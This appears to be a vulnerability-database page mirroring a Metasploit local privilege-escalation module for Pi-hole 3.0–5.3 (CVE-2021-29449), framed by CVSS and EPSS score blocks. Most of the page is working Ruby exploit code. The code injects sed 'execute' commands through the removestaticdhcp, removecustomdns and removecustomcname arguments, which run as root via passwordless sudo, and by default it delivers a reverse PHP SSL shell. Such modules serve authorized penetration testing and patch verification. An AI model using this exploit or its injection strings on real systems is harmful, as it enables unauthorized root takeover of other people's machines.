Lucene search

K
zdtMetasploit1337DAY-ID-36613
HistoryJul 30, 2021 - 12:00 a.m.

Pi-Hole Remove Commands Linux Privilege Escalation Exploit

2021-07-3000:00:00
metasploit
0day.today
103

7.8 High

CVSS3

Attack Vector

LOCAL

Attack Complexity

LOW

Privileges Required

LOW

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

8.2 High

AI Score

Confidence

High

7.2 High

CVSS2

Access Vector

LOCAL

Access Complexity

LOW

Authentication

NONE

Confidentiality Impact

COMPLETE

Integrity Impact

COMPLETE

Availability Impact

COMPLETE

AV:L/AC:L/Au:N/C:C/I:C/A:C

0.003 Low

EPSS

Percentile

70.6%

Pi-Hole versions 3.0 through 5.3 allows for command line input to the removecustomcname, removecustomdns, and removestaticdhcp functions without properly validating the parameters before passing to sed. When executed as the www-data user, this allows for a privilege escalation to root since www-data is in the sudoers.d/pihole file with no password.

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = GreatRanking

  # includes: is_root?
  include Msf::Post::Linux::Priv
  # includes writable?, upload_file, upload_and_chmodx, exploit_data
  include Msf::Post::File
  # for whoami
  include Msf::Post::Unix
  # for get_session_pid needed by whoami
  include Msf::Post::Linux::System
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Pi-Hole Remove Commands Linux Priv Esc',
        'Description' => %q{
          Pi-Hole versions 3.0 - 5.3 allows for command line input to the removecustomcname,
          removecustomdns, and removestaticdhcp functions without properly validating
          the parameters before passing to sed.  When executed as the www-data user,
          this allows for a privilege escalation to root since www-data is in the
          sudoers.d/pihole file with no password.
        },
        'License' => MSF_LICENSE,
        'Author' =>
          [
            'h00die', # msf module
            'Emanuele Barbeno <emanuele.barbeno[at]compass-security.com>' # original PoC, analysis
          ],
        'Platform' => [ 'unix', 'linux' ],
        'Arch' => [ ARCH_CMD ],
        'SessionTypes' => [ 'shell', 'meterpreter' ],
        'DefaultOptions' => { 'Payload' => 'cmd/unix/reverse_php_ssl' },
        'Payload' =>
          {
            'BadChars' => "\x27" # '
          },
        'Privileged' => true,
        'References' =>
          [
            [ 'URL', 'https://github.com/pi-hole/pi-hole/security/advisories/GHSA-3597-244c-wrpj' ],
            [ 'URL', 'https://www.compass-security.com/fileadmin/Research/Advisories/2021-02_CSNC-2021-008_Pi-hole_Privilege_Escalation.txt' ],
            [ 'CVE', '2021-29449' ]
          ],
        'DisclosureDate' => '2021-04-20',
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [CONFIG_CHANGES, IOC_IN_LOGS]
        },
        'Targets' => [
          ['DHCP', { 'min' => Rex::Version.new('3.0') }], # exploitable by default, expecially when combined with unix/http/pihole_dhcp_mac_exec
          ['DNS', { 'min' => Rex::Version.new('5.0') }],
          ['CNAME', { 'min' => Rex::Version.new('5.1') }],
        ],
        'DefaultTarget' => 0
      )
    )
  end

  def sudo_pihole
    'sudo /usr/local/bin/pihole -a'
  end

  def pihole_version
    version = cmd_exec('sudo /usr/local/bin/pihole -v')
    /Pi-hole version is v([^ ]+)/ =~ version
    Rex::Version.new(Regexp.last_match(1))
  end

  def check
    w = whoami
    print_status("Current user: #{w}")
    v = pihole_version
    print_status("Pi-hole version: #{v}")
    unless v.between?(target['min'], Rex::Version.new('5.3'))
      return CheckCode::Safe("Pi-Hole version #{v} is >= 5.3 and not vulnerable")
    end
    unless w == 'www-data'
      return CheckCode::Safe("User must be www-data, currently #{w}")
    end

    CheckCode::Appears("Pi-Hole #{v} with user #{w} is vulnerable and exploitable")
  end

  def method_dhcp
    f = '/etc/dnsmasq.d/04-pihole-static-dhcp.conf'
    if !file?(f) || read_file(f).empty?
      mac = Faker::Internet.mac_address
      ip = "10.199.#{rand_text_numeric(1..2).to_i}.#{rand_text_numeric(1..2).to_i}"
      print_status("Adding static DHCP #{mac} #{ip}")
      cmd_exec("#{sudo_pihole} addstaticdhcp '#{mac}' '#{ip}'")
    end
    unless file?(f)
      print_error("Config file not found: #{f}")
      return
    end
    print_good("#{f} found!")
    print_status('Executing payload against removestaticdhcp command')
    cmd_exec("#{sudo_pihole} removestaticdhcp 'a/d ; 1e #{payload.encoded} ; /'")
    if mac
      cmd_exec("#{sudo_pihole} removestaticdhcp '#{mac}'")
    end
  end

  def method_dns
    f = '/etc/pihole/custom.list'
    if !file?(f) || read_file(f).empty?
      name = Faker::Internet.domain_name
      ip = "10.199.#{rand_text_numeric(1..2).to_i}.#{rand_text_numeric(1..2).to_i}"
      print_status("Adding DNS entry #{name} #{ip}")
      cmd_exec("#{sudo_pihole} addcustomdns '#{ip}' '#{name}'")
    end
    unless file?(f)
      print_error("Config file not found: #{f}")
      return
    end
    print_good("#{f} found!")
    print_status('Executing payload against removecustomdns command')
    cmd_exec("#{sudo_pihole} removecustomdns 'a/d ; 1e #{payload.encoded} ; /'")
    if name
      cmd_exec("#{sudo_pihole} removecustomdns '#{ip}' '#{name}'")
    end
  end

  def method_cname
    f = '/etc/dnsmasq.d/05-pihole-custom-cname.conf'
    if !file?(f) || read_file(f).empty?
      name = "#{rand_text_alphanumeric(8..12)}.edu"
      print_status("Adding CNAME entry #{name}")
      cmd_exec("#{sudo_pihole} addcustomcname '#{name}' '#{name}'")
    end
    unless file?(f)
      print_error("Config file not found: #{f}")
      return
    end
    print_good("#{f} found!")
    print_status('Executing payload against removecustomcname command')
    cmd_exec("#{sudo_pihole} removecustomcname 'a/d ; 1e #{payload.encoded} ; /'")
    if name
      cmd_exec("#{sudo_pihole} removecustomcname '#{name}' '#{name}'")
    end
  end

  def exploit
    if target.name == 'DHCP'
      method_dhcp
    elsif target.name == 'DNS'
      method_dns
    elsif target.name == 'CNAME'
      method_cname
    end
  end
end

7.8 High

CVSS3

Attack Vector

LOCAL

Attack Complexity

LOW

Privileges Required

LOW

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

8.2 High

AI Score

Confidence

High

7.2 High

CVSS2

Access Vector

LOCAL

Access Complexity

LOW

Authentication

NONE

Confidentiality Impact

COMPLETE

Integrity Impact

COMPLETE

Availability Impact

COMPLETE

AV:L/AC:L/Au:N/C:C/I:C/A:C

0.003 Low

EPSS

Percentile

70.6%